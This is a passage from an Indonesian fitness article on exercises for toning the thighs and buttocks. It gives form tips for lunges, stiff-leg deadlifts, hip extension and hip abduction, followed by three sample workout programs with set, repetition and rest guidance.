Tips gerakan: Peganglah dumbbell pada kedua tangan dan berdirilah dengan kedua kaki sejajar. Busungkan dada dan mulailah melangkah dengan langkah panjang ke depan dengan menekuk kedua lutut sambil tetap memegang kedua dumbbell disisi badan. Pada kaki depan, jagalah agar lutut tegak lurus dengan lantai. Sementara lutut kaki belakang diturunkan sampai hampir menyentuh lantai. Berdirilah kembali seperti pada posisi awal dan mulailah dengan kaki yang lainnya.

• Stift Leg Deadlift

Deadlift merupakan latihan yang baik untuk paha belakang, pantat dan punggung bawah.


Barbell Stift Leg Deadlift


Dumbbell Stift Leg Deadlift


Single leg Stift Leg Deadlift


Dumbbell Single leg Stift Leg Deadlift
Tips gerakan: Peganglah barbell atau dumbbell didepan paha dan berdirilah dengan kaki selebar bahu. Busungkan dada dan kuncilah pinggang. Mulailah turunkan beban ke bawah sejauhnya sambil tetap menjaga kaki dan punggung tetap lurus. Selama gerakan pandanglah ke depan untuk membantu menjaga punggung agar tetap lurus. Dari posisi bawah kembalilah ke posisi semula dengan menggunakan otot paha belakang.
Catatan: Dekatkan beban ke kaki untuk menjaga stabilitas.

• Hip Extension

Hip extension merupakan gerakan yang baik untuk memaksimalkan pembentukan bokong.


Cable Standing Hip Extension


Lying Hip Extension
Catatan: Untuk gerakan dengan kabel, kabel dapat diganti dengan beban yang diikatkan pada pergelangan kaki, dan gerakan dilakukan sambil telungkup..

Weighted Hip Lying Extension

• Hip Abduction

Hip abduction merupakan gerakan untuk pembentukan bagian pinggul (pangkal paha)


Cable Hip Abduction


Dumbbell Lying Hip Abduction

Contoh Program Latihan untuk Mengencangkan dan Membentuk Paha dan Bokong

• # 1

Squat - 4 set
Lunges - 3 set
Hip Extension - 3 set

• # 2

Squat - 4 set
Step Up - 3 set
Hip Extension - 3 set

• # 3

Squat - 4 set
Lunges - 3 set
Stiff Leg Deadlift - 3 set

Catatan:
Lakukan latihan untuk paha dan bokong ini cukup seminggu sekali, karena paha dan bokong merupakan otot yang besar dan memerlukan waktu pemulihan yang cukup panjang.
Pilih salah satu dari gerakan Squat, dan tambahkan 2 jenis latihan lainnya selain Squat dan lakukan latihan selama 2 minggu sebelum merubah jenis latihan untuk 2 minggu berikutnya.
Lakukan pemanasan dan stretching sebelum melakukan latihan.
Lakukan setiap gerakan 3-4 set dengan 12-15 repetisi
Setelah kondisi fisik dan stamina bertambah kuat, set pada setiap gerakan dapat ditambah menjadi 4-5 set, atau pada setiap program latihan dapat ditambahkan lagi gerakan latihan yang dilakukan menjadi 4 macam gerakan.
Untuk meningkatkan intensitas latihan, istirahat antara set dan antara jenis latihan jangan lebih dari 2 menit, jika memungkinkan istirahat hanya 1 menit saja.

Selamat mencoba.. Mri kita sukses Bersama.. Good Luck

(dari berbagai sumber)